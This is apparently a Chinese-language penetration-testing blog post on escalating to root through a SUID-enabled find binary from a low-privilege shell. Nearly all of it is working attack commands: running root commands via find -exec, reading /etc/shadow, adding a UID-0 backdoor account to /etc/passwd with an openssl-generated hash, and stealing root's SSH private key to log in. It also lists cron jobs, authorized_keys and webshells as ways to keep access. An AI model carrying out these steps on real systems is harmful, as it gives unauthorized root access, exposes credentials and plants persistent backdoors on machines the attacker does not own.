前提是你已经拿到一个Linux的shell,并且执行find / -perm -u=s -type f 2>/dev/null 发现存在find,这说明find具有setuid 权限。

执行命令:find /etc/passwd -exec '[执行的命令]' \;

:利用find进行执行命令或提权命令时,find后面一定要填一个可以找到的文件,我这里填的是/etc/passwd文件,可以自定义但一定要找一个存在的文件。

遇到问题

使用find / -perm -u=s -type f 2>/dev/null 查看发现find存在setuid权限,可以用该可执行文件进行提权。

执行find /etc/passwd -exec whoami \; 也显示为root权限。

但是执行find /etc/passwd -exec '/bin/sh' \;后再执行命令却显示为www普通用户 。

但在使用find执行文件的增删改查(例如:mv、cp、cat、chmod、chown)的时候发现都是执行的root命令。

这里用查看/etc/shadow文件作为示例:

解决问题

根据具有文件修改的权限想到有一下几条提升权限的方法:

  • 修改/etc/passwd文件添加用户

  • 查看敏感文件例如/root/.ssh/id_rsa

  • 写入authorized_keys连接公钥

  • 写定时任务

  • 写入webshell(不做为权限提升参考,但是可以通过该方法留后门)

修改/etc/passwd添加用户

修改/etc/passwd前记得备份文件

生成用户的密码:
openssl passwd -1 -salt '11' 123456 #-1是数字1不是英文l,-salt为盐值可自定义,123456为自己设置的密码,这里生成的密码是$1$11$nQEcXsZ5FfSmhrlNtWsds1
备份/etc/passwd:
find /etc/passwd -exec cp /etc/passwd /etc/passwd1 \;
find /etc/passwd -exec cp /etc/passwd /etc/passwd2 #备份两份,选一个备份文件进行修改,这里选择的passwd2文件进行修改
修改/etc/passwd2文件的权限:
find /etc/passwd -exec chmod 777 /etc/passwd2 \;
写入用户:
echo 'test:$1$11$nQEcXsZ5FfSmhrlNtWsds1:0:0:W:/:/bin/sh' >> /etc/passwd2 #这里写入的用户是test/123456
将/etc/passwd2文件替换为/etc/passwd:
find /etc/passwd -exec mv /etc/passwd2 /etc/passwd \;

生成密码:

备份文件以及修改权限的执行命令的截图未保存。

修改/etc/passwd2,添加新用户:

将/etc/passwd2替换为/etc/passwd

然后使用ssh进行远程连接(连接test用户,密码是设置的123456):

查找SSH私钥

查看是否存在私钥:

find /etc/passwd -exec ls -al /root/.ssh/ \;

查看私钥内容

find /etc/passwd -exec cat /root/.ssh/id_rsa_bt \;

保存私钥进行,并使用私钥进行连接:

ssh [email protected] -i id_rsa_bt